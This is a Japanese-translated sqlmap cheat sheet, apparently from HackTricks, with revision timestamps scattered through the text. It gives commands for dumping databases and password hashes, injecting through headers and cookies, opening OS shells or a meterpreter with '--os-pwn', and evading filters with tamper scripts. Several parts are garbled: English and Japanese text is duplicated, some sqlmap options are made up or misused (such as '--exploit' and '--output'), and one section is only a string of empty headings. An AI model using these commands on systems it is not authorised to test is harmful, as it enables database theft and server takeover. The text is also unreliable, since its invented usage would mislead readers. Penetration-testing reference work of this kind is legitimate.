2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
2022-04-28 16:01:33 +00:00
< / details >
2023-07-07 23:42:27 +00:00
# SQLmapの基本的な引数
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
## 一般的な引数
2020-07-15 15:43:14 +00:00
```bash
2023-07-07 23:42:27 +00:00
-u "< URL > "
-p "< PARAM TO TEST > "
--user-agent=SQLMAP
--random-agent
--threads=10
2020-07-15 15:43:14 +00:00
--risk=3 #MAX
--level=5 #MAX
2023-07-07 23:42:27 +00:00
--dbms="< KNOWN DB TECH > "
2020-07-15 15:43:14 +00:00
--os="< OS > "
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="< AUTH > " #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="< AUTH > " #HTTP authentication credentials (name:password)
--proxy=PROXY
```
2023-07-07 23:42:27 +00:00
## 情報の取得
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### 内部
2020-07-15 15:43:14 +00:00
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
2023-07-07 23:42:27 +00:00
### DBデータ
The `--dump` option can be used to retrieve the data from the database. By default, it will dump all the tables in the database. However, you can specify the tables you want to dump using the `--tables` option.
```plaintext
$ sqlmap -u "http://example.com/vuln.php?id=1" --dump
```
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
This command will retrieve all the data from the database and display it in the console. You can also specify the output format using the `--output` option. For example, to save the data in a CSV file, you can use the following command:
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
```plaintext
$ sqlmap -u "http://example.com/vuln.php?id=1" --dump --output=data.csv
```
By default, sqlmap will retrieve all the columns from the tables. However, you can specify the columns you want to retrieve using the `--columns` option. For example, to retrieve only the `username` and `password` columns from the `users` table, you can use the following command:
```plaintext
$ sqlmap -u "http://example.com/vuln.php?id=1" --dump --tables=users --columns=username,password
```
This command will retrieve only the specified columns from the `users` table and display them in the console.
Remember to always use these techniques responsibly and with proper authorization.
2020-07-15 15:43:14 +00:00
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D < DB NAME > )
--columns #Columns of a table ( -D < DB NAME > -T < TABLE NAME > )
-D < DB NAME > -T < TABLE NAME > -C < COLUMN NAME > #Dump column
```
2023-07-07 23:42:27 +00:00
# インジェクション箇所
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
## Burp/ZAPからのキャプチャ
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
リクエストをキャプチャし、req.txtファイルを作成します。
```bash
sqlmap -r req.txt --current-user
```
## GETリクエストのインジェクション
In this section, we will discuss how to perform SQL injection attacks on GET requests using sqlmap.
このセクションでは、sqlmapを使用してGETリクエストに対してSQLインジェクション攻撃を行う方法について説明します。
### Basic Usage
基本的な使用方法
To perform a SQL injection attack on a GET request, you can use the following command:
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
GETリクエストに対してSQLインジェクション攻撃を実行するには、次のコマンドを使用します。
2020-07-15 15:43:14 +00:00
```bash
2023-07-07 23:42:27 +00:00
sqlmap -u "http://example.com/page.php?id=1" --dbs
```
Replace the URL with the target URL that contains the vulnerable parameter. The `--dbs` option is used to enumerate the available databases.
脆弱なパラメータを含む対象のURLでURLを置き換えます。 `--dbs` オプションは利用可能なデータベースを列挙するために使用されます。
### Enumerating Databases
データベースの列挙
To enumerate the databases, you can use the following command:
データベースを列挙するには、次のコマンドを使用します。
```bash
sqlmap -u "http://example.com/page.php?id=1" --dbs
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
This command will display a list of available databases.
このコマンドは利用可能なデータベースのリストを表示します。
### Enumerating Tables
テーブルの列挙
To enumerate the tables in a specific database, you can use the following command:
特定のデータベース内のテーブルを列挙するには、次のコマンドを使用します。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
```bash
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
```
Replace `database_name` with the name of the target database. This command will display a list of tables in the specified database.
`database_name` を対象データベースの名前に置き換えます。このコマンドは指定したデータベース内のテーブルのリストを表示します。
### Dumping Data
データのダンプ
To dump the data from a specific table, you can use the following command:
特定のテーブルからデータをダンプするには、次のコマンドを使用します。
```bash
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump
```
Replace `database_name` with the name of the target database and `table_name` with the name of the target table. This command will dump the data from the specified table.
`database_name` を対象データベースの名前に、`table_name`を対象テーブルの名前に置き換えます。このコマンドは指定したテーブルからデータをダンプします。
### Conclusion
結論
Performing SQL injection attacks on GET requests can be done using sqlmap. By enumerating databases, tables, and dumping data, you can extract sensitive information from vulnerable web applications.
GETリクエストに対するSQLインジェクション攻撃は、sqlmapを使用して行うことができます。データベースの列挙、テーブルの列挙、データのダンプを行うことで、脆弱なWebアプリケーションから機密情報を抽出することができます。
2020-07-15 15:43:14 +00:00
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
2023-07-07 23:42:27 +00:00
## POSTリクエストのインジェクション
In some cases, the target application may use POST requests to send data to the server. SQL injection can also be performed on these POST requests. SQLMap provides options to specify the POST data and the injection point.
いくつかの場合、対象のアプリケーションはデータをサーバーに送信するためにPOSTリクエストを使用する場合があります。これらのPOSTリクエストでもSQLインジェクションを実行することができます。SQLMapは、POSTデータとインジェクションポイントを指定するためのオプションを提供しています。
To perform a SQL injection on a POST request, you need to capture the request using a proxy tool like Burp Suite or OWASP ZAP. Once you have the request captured, you can use SQLMap to automatically detect and exploit the SQL injection vulnerability.
POSTリクエストでSQLインジェクションを実行するには、Burp SuiteやOWASP ZAPなどのプロキシツールを使用してリクエストをキャプチャする必要があります。リクエストをキャプチャしたら、SQLMapを使用してSQLインジェクションの脆弱性を自動的に検出し、攻撃することができます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
To specify the POST data, you can use the `--data` option followed by the POST data in the format `param1=value1¶m2=value2` . You can also use the `--data-file` option to specify a file containing the POST data.
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
POSTデータを指定するには、`--data`オプションを使用し、POSTデータを`param1=value1& param2=value2`の形式で指定します。また、POSTデータが含まれるファイルを指定するには、`--data-file`オプションを使用することもできます。
To specify the injection point, you can use the `--param` option followed by the parameter name. For example, `--param username` will specify the injection point as the `username` parameter.
インジェクションポイントを指定するには、`--param`オプションを使用し、パラメータ名を指定します。例えば、`--param username`はインジェクションポイントを`username`パラメータとして指定します。
Once you have specified the POST data and the injection point, you can run SQLMap with the `--data` and `--param` options to perform the SQL injection on the POST request.
POSTデータとインジェクションポイントを指定したら、SQLMapを`--data`オプションと`--param`オプションと共に実行し、POSTリクエストに対してSQLインジェクションを実行することができます。
2020-07-15 15:43:14 +00:00
```bash
sqlmap -u "http://example.com" --data "username=*& password=*"
```
2023-07-07 23:42:27 +00:00
## ヘッダーとその他のHTTPメソッドにおけるインジェクション
In some cases, it is possible to perform SQL injections not only in the request parameters but also in the headers or other HTTP methods. This can be useful when the application uses headers or other methods to pass data to the backend database.
いくつかのケースでは、SQLインジェクションをリクエストパラメータだけでなく、ヘッダーやその他のHTTPメソッドにも実行することができます。これは、アプリケーションがヘッダーやその他のメソッドを使用してバックエンドデータベースにデータを渡す場合に役立ちます。
### Injection in Headers
#### User-Agent Header
The User-Agent header is commonly used by web browsers to identify themselves to the server. In some cases, it is possible to inject SQL code into this header and manipulate the backend database.
ユーザーエージェントヘッダーは、ウェブブラウザがサーバーに自身を識別するために一般的に使用されます。いくつかのケースでは、このヘッダーにSQLコードをインジェクションし、バックエンドデータベースを操作することが可能です。
To test for SQL injection in the User-Agent header, you can use the following command:
ユーザーエージェントヘッダーに対するSQLインジェクションをテストするには、次のコマンドを使用できます。
```plaintext
sqlmap -u "http://example.com" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'; SELECT SLEEP(5)-- -"
```
#### Referer Header
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
The Referer header is used to indicate the URL of the page that linked to the current page. Similar to the User-Agent header, it is possible to inject SQL code into this header and manipulate the backend database.
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
リファラヘッダーは、現在のページにリンクしたページのURLを示すために使用されます。ユーザーエージェントヘッダーと同様に、このヘッダーにSQLコードをインジェクションし、バックエンドデータベースを操作することが可能です。
To test for SQL injection in the Referer header, you can use the following command:
リファラヘッダーに対するSQLインジェクションをテストするには、次のコマンドを使用できます。
```plaintext
sqlmap -u "http://example.com" --headers="Referer: http://example.com'; SELECT SLEEP(5)-- -"
```
### Injection in Other HTTP Methods
Apart from GET and POST requests, there are other HTTP methods that can be used to send data to the server. These methods include PUT, DELETE, OPTIONS, HEAD, and more. It is possible to inject SQL code into these methods and manipulate the backend database.
GETとPOSTリクエスト以外にも、データをサーバーに送信するために使用できる他のHTTPメソッドがあります。これらのメソッドには、PUT、DELETE、OPTIONS、HEADなどがあります。これらのメソッドにSQLコードをインジェクションし、バックエンドデータベースを操作することが可能です。
To test for SQL injection in other HTTP methods, you can use the following command:
他のHTTPメソッドに対するSQLインジェクションをテストするには、次のコマンドを使用できます。
```plaintext
sqlmap -u "http://example.com" --method=PUT --data="param1=value1¶m2=value2'; SELECT SLEEP(5)-- -"
```
Remember to replace the URL, headers, and data with the appropriate values for your target application.
対象のアプリケーションに適切な値でURL、ヘッダー、およびデータを置き換えることを忘れないでください。
2020-07-15 15:43:14 +00:00
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
2023-07-07 23:42:27 +00:00
## セカンドオーダーインジェクション
A second order injection occurs when user input is stored in a database or other data storage system, and later used in a different context without proper sanitization or validation. This can lead to SQL injection vulnerabilities that are not immediately apparent during the initial input, but can be exploited later on.
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
セカンドオーダーインジェクションは、ユーザーの入力がデータベースや他のデータストレージシステムに保存され、後で適切なサニタイズやバリデーションなしに別のコンテキストで使用される場合に発生します。これにより、最初の入力時にはすぐには明らかにならないSQLインジェクションの脆弱性が生じる可能性がありますが、後で悪用される可能性があります。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
For example, let's say a web application allows users to submit comments that are stored in a database. The application then retrieves these comments and displays them on a webpage. If the application does not properly sanitize or validate the comments before displaying them, an attacker could inject malicious SQL code into their comment. This code would then be stored in the database and executed when the comments are displayed on the webpage, potentially leading to unauthorized access or data leakage.
たとえば、ウェブアプリケーションがユーザーにコメントを提出することを許可し、これらのコメントがデータベースに保存されるとします。その後、アプリケーションはこれらのコメントを取得し、ウェブページ上に表示します。アプリケーションがコメントを表示する前に適切にサニタイズやバリデーションを行わない場合、攻撃者はコメントに悪意のあるSQLコードをインジェクションすることができます。このコードはデータベースに保存され、コメントがウェブページ上に表示される際に実行されるため、不正なアクセスやデータの漏洩の可能性があります。
To detect and exploit second order injection vulnerabilities, tools like SQLMap can be used. These tools analyze the application's behavior and attempt to inject malicious SQL code to test for vulnerabilities. By identifying and fixing these vulnerabilities, developers can ensure the security of their applications and protect against potential attacks.
セカンドオーダーインジェクションの脆弱性を検出し、悪用するためには、SQLMapなどのツールを使用することができます。これらのツールはアプリケーションの動作を分析し、脆弱性をテストするために悪意のあるSQLコードをインジェクションしようとします。これらの脆弱性を特定し修正することで、開発者はアプリケーションのセキュリティを確保し、潜在的な攻撃から保護することができます。
2020-07-15 15:43:14 +00:00
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://< IP / domain > /joomla/administrator/index.php" -D "joomla" -dbs
```
2023-07-07 23:42:27 +00:00
## シェル
Shellコマンドを実行するために、SQLMapはいくつかのオプションを提供しています。以下にいくつかの一般的なオプションを示します。
### `--os-shell`
このオプションを使用すると、SQLMapはOSシェルを開きます。これにより、対象のシステムでコマンドを実行することができます。
```bash
sqlmap -u < target > --os-shell
```
### `--sql-shell`
このオプションを使用すると、SQLMapはSQLシェルを開きます。これにより、対象のデータベースに対してSQLクエリを実行することができます。
```bash
sqlmap -u < target > --sql-shell
```
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### `--os-pwn`
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
このオプションを使用すると、SQLMapは対象のシステムを完全に乗っ取ります。これにより、対象のシステムで任意のコマンドを実行することができます。
```bash
sqlmap -u < target > --os-pwn
```
### `--os-bof`
このオプションを使用すると、SQLMapは対象のシステムでバッファオーバーフローを引き起こします。これにより、対象のシステムをクラッシュさせることができます。
```bash
sqlmap -u < target > --os-bof
```
これらのオプションを使用する際には、慎重に行動し、法的な制約を遵守することを忘れないでください。
2020-07-15 15:43:14 +00:00
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
2023-07-07 23:42:27 +00:00
## SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトする
SQLmap is a powerful tool for automating the process of detecting and exploiting SQL injection vulnerabilities in web applications. In this section, we will learn how to use SQLmap to crawl a website and automatically exploit any SQL injection vulnerabilities that are found.
SQLmapは、ウェブアプリケーションのSQLインジェクション脆弱性を検出し、エクスプロイトするプロセスを自動化する強力なツールです。このセクションでは、SQLmapを使用してウェブサイトをクロールし、見つかったSQLインジェクション脆弱性を自動的にエクスプロイトする方法を学びます。
### Crawling a website with SQLmap
SQLmap has a built-in feature that allows it to crawl a website and discover all the available pages. This can be useful when you want to identify potential targets for SQL injection attacks.
To crawl a website with SQLmap, you can use the following command:
```
sqlmap -u < target_url > --crawl=< depth >
```
- `<target_url>` : The URL of the website you want to crawl.
- `<depth>` : The depth of the crawling process (optional). By default, SQLmap will crawl up to a depth of 3.
For example, to crawl a website at `http://example.com` up to a depth of 5, you can use the following command:
```
sqlmap -u http://example.com --crawl=5
```
### Auto-exploiting SQL injection vulnerabilities
Once SQLmap has crawled a website and identified SQL injection vulnerabilities, it can automatically exploit them to extract data from the database or perform other malicious actions.
To auto-exploit SQL injection vulnerabilities with SQLmap, you can use the following command:
```
sqlmap -u < target_url > --exploit=< exploit_options >
```
- `<target_url>` : The URL of the website with the SQL injection vulnerability.
- `<exploit_options>` : Additional options to customize the exploitation process (optional).
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
For example, to auto-exploit a SQL injection vulnerability on `http://example.com/vulnerable.php?id=1` , you can use the following command:
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
```
sqlmap -u http://example.com/vulnerable.php?id=1 --exploit
```
SQLmap will automatically detect and exploit the SQL injection vulnerability, allowing you to retrieve data from the database or perform other actions as specified by the exploit options.
### Conclusion
By using SQLmap to crawl a website and auto-exploit SQL injection vulnerabilities, you can efficiently identify and exploit potential security weaknesses in web applications. However, it is important to always obtain proper authorization before performing any penetration testing activities.
2020-07-15 15:43:14 +00:00
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
2023-07-07 23:42:27 +00:00
You can customize the injection by setting a suffix.
To set a suffix, use the `--suffix` option followed by the desired suffix value.
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
For example, to set the suffix as `' OR '1'='1'--` , you can use the following command:
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
```
sqlmap -u < target_url > --suffix="' OR '1'='1'--"
```
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
This will append the suffix to the injected payload, allowing you to modify the behavior of the injection.
2020-07-15 15:43:14 +00:00
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
2023-07-07 23:42:27 +00:00
## プレフィックス
---
## Target
---
## ターゲット
---
## Introduction
---
## イントロダクション
---
## SQL Injection
---
## SQLインジェクション
---
## SQLMap
---
## SQLMap
---
## Installation
---
## インストール
---
## Basic Usage
---
## 基本的な使用方法
---
## Detecting SQL Injection Vulnerabilities
---
## SQLインジェクションの脆弱性の検出
---
## Enumerating Databases
---
## データベースの列挙
---
## Enumerating Tables
---
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
## テーブルの列挙
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
---
## Enumerating Columns
---
## 列の列挙
---
## Dumping Data
---
## データのダンプ
---
## Exploiting SQL Injection Vulnerabilities
---
## SQLインジェクションの脆弱性の悪用
---
## Command Execution
---
## コマンドの実行
---
## OS Shell
---
## OSシェル
---
## File Read/Write
---
## ファイルの読み書き
---
## Privilege Escalation
---
## 特権の昇格
---
## Conclusion
---
## 結論
2020-07-15 15:43:14 +00:00
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
2023-07-07 23:42:27 +00:00
## ブールインジェクションの検出方法のヘルプ
Boolean-based SQL injection( ブールベースのSQLインジェクション) は、Webアプリケーションのセキュリティテスト中によく使用されるテクニックです。この攻撃は、真偽値( trueまたはfalse) を使用してSQLクエリの結果を制御することによって、データベースから情報を抽出します。
以下は、ブールインジェクションを検出するための手順です。
1. ユーザー入力の特定の箇所を特定します。これは、URLパラメータ、フォームフィールド、またはクッキーなどの場所に存在する可能性があります。
2. 特定したユーザー入力を使用して、SQLクエリを実行する場所を特定します。これは、データベースクエリを実行するコードの一部である可能性があります。
3. 特定したユーザー入力を使用して、SQLクエリにブール演算子( AND、OR、NOT) を挿入します。これにより、クエリの結果を制御できます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
4. クエリの結果に基づいて、真偽値を使用して条件を評価します。例えば、クエリが真の場合は正常な応答が返され、偽の場合はエラーメッセージが表示されるかもしれません。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
5. ブールインジェクションが成功した場合、データベースから情報を抽出するための適切な真偽値を特定します。
ブールインジェクションは、データベースの機密情報を漏洩させる可能性があるため、セキュリティ上の重大な脆弱性です。セキュリティテスト中にこのテクニックを使用する際には、慎重に行う必要があります。
2020-07-15 15:43:14 +00:00
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
2023-07-07 23:42:27 +00:00
## タンパー
Tampering is a technique used to modify the behavior of SQLMap's payloads in order to bypass security measures or evade detection. SQLMap provides a variety of tamper scripts that can be used to alter the SQL injection payloads.
タンパリングは、セキュリティ対策を回避したり検出を回避するために、SQLMapのペイロードの動作を変更するための技術です。SQLMapは、SQLインジェクションのペイロードを変更するために使用できるさまざまなタンパースクリプトを提供しています。
To use a tamper script, you can specify it using the `--tamper` option followed by the name of the script. For example:
タンパースクリプトを使用するには、スクリプトの名前を指定するために`--tamper`オプションを使用します。例えば:
```
sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment
```
This command will use the `space2comment` tamper script to modify the SQL injection payloads.
このコマンドは、SQLインジェクションのペイロードを変更するために`space2comment`タンパースクリプトを使用します。
You can also use multiple tamper scripts by separating them with a comma:
カンマで区切って複数のタンパースクリプトを使用することもできます。
```
sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment,randomcase
```
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
In this example, both the `space2comment` and `randomcase` tamper scripts will be applied to the SQL injection payloads.
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
この例では、`space2comment`と`randomcase`の両方のタンパースクリプトがSQLインジェクションのペイロードに適用されます。
2020-07-15 15:43:14 +00:00
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
2023-07-07 23:42:27 +00:00
| Tamper | 説明 |
2020-07-15 15:43:14 +00:00
| :--- | :--- |
2023-07-07 23:42:27 +00:00
| apostrophemask.py | アポストロフィ文字をそのUTF-8全角対応文字に置き換えます |
| apostrophenullencode.py | アポストロフィ文字をその不正なダブルユニコード対応文字に置き換えます |
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します |
| base64encode.py | 指定されたペイロード内のすべての文字をBase64でエンコードします |
| between.py | 大なり演算子 \('> '\) を 'NOT BETWEEN 0 AND \#' に置き換えます |
| bluecoat.py | SQL文の後にあるスペース文字を有効なランダムな空白文字に置き換えます。その後、文字 = をLIKE演算子に置き換えます |
| chardoubleencode.py | 指定されたペイロード内のすべての文字をダブルURLエンコードします( すでにエンコードされているものは処理しません) |
| commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます |
| commalessmid.py | 'MID\(A, B, C\)' のようなインスタンスを 'MID\(A FROM B FOR C\)' に置き換えます |
| concat2concatws.py | 'CONCAT\(A, B\)' のようなインスタンスを 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' に置き換えます |
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします( すでにエンコードされているものは処理しません) |
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします( すでにエンコードされているものは処理しません) 。"%u0022" |
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします( すでにエンコードされているものは処理しません) 。"\u0022" |
| equaltolike.py | すべての等号演算子 \('='\) を 'LIKE' 演算子に置き換えます |
| escapequotes.py | クォート文字 \(' and "\) をスラッシュでエスケープします |
| greatest.py | 大なり演算子 \('> '\) を 'GREATEST' に置き換えます |
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きのMySQLコメントを追加します |
| ifnull2ifisnull.py | 'IFNULL\(A, B\)' のようなインスタンスを 'IF\(ISNULL\(A\), B, A\)' に置き換えます |
| modsecurityversioned.py | バージョン付きコメントでクエリ全体を囲みます |
| modsecurityzeroversioned.py | ゼロバージョンのコメントでクエリ全体を囲みます |
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します |
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置換に適した表現に置き換えます( 例: .replace\("SELECT", ""\)\)フィルター |
| percentage.py | 各文字の前にパーセント記号 \('%'\) を追加します |
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされているものは処理しません) |
| randomcase.py | 各キーワード文字をランダムな大文字/小文字の値に置き換えます |
| randomcomments.py | SQLキーワードにランダムなコメントを追加します |
| securesphere.py | 特別に作成された文字列を追加します |
| sp\_password.py | ペイロードの末尾に 'sp\_password' を追加して、DBMSログからの自動的な曖昧化を行います |
| space2comment.py | スペース文字 \(' '\) をコメントに置き換えます |
| space2dash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します |
| space2hash.py | スペース文字 \(' '\) をパウンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します |
| space2morehash.py | スペース文字 \(' '\) をパウンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します |
| space2mssqlblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます |
| space2mssqlhash.py | スペース文字 \(' '\) をパウンド文字 \('\#'\) に置き換え、改行 \('\n'\) を追加します |
| space2mysqlblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます |
| space2mysqldash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、改行 \('\n'\) を追加します |
| space2plus.py | スペース文字 \(' '\) をプラス \('+'\) に置き換えます |
| space2randomblank.py | スペース文字 \(' '\) を有効な代替文字のセットからのランダムな空白文字に置き換えます |
| symboliclogical.py | ANDおよびOR論理演算子をそれぞれのシンボルに置き換えます \(&& および |
| unionalltounion.py | UNION ALL SELECT を UNION SELECT に置き換えます |
| unmagicquotes.py | クォート文字 \('\) をマルチバイトコンボ %bf%27 と一緒にジェネリックコメントで置き換えます(動作させるために最後に) |
| uppercase.py | 各キーワード文字を大文字に置き換えます 'INSERT' |
| varnish.py | HTTPヘッダー 'X-originating-IP' を追加します |
| versionedkeywords.py | 関数でない各キーワードをバージョン付きのMySQLコメントで囲みます |
| versionedmorekeywords.py | 各キーワードをバージョン付きのMySQLコメントで囲みます |
| xforwardedfor.py | 偽のHTTPヘッダー 'X-Forwarded-For' を追加します |
2020-07-15 15:43:14 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見しましょう、**独占的なNFT**のコレクションです。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**テレグラムグループ**](https://t.me/